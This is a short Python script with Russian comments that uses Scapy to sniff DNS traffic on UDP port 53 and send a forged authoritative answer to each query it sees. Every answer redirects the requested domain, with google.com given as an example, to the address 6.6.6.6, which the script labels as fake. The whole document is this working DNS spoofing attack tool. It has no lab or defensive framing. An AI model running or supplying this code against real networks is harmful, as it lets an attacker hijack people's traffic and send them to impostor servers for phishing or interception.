Загрузка данных


from scapy.all import *

def dns_callback(pkt):
    if pkt.haslayer(DNSqr):
        # Если спрашивают любой сайт (например, google.com)
        qname = pkt[DNSqr].qname.decode()
        print(f"Перехватили запрос на {qname}")
        
        # Собираем фальшивый ответ
        reply = IP(dst=pkt[IP].src, src=pkt[IP].dst)/ \
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/ \
                DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
                    an=DNSRR(rrname=qname, ttl=10, rdata="6.6.6.6")) # Фейковый IP
        send(reply, verbose=0)

print("DNS Пограничник запущен...")
sniff(filter="udp port 53", prn=dns_callback)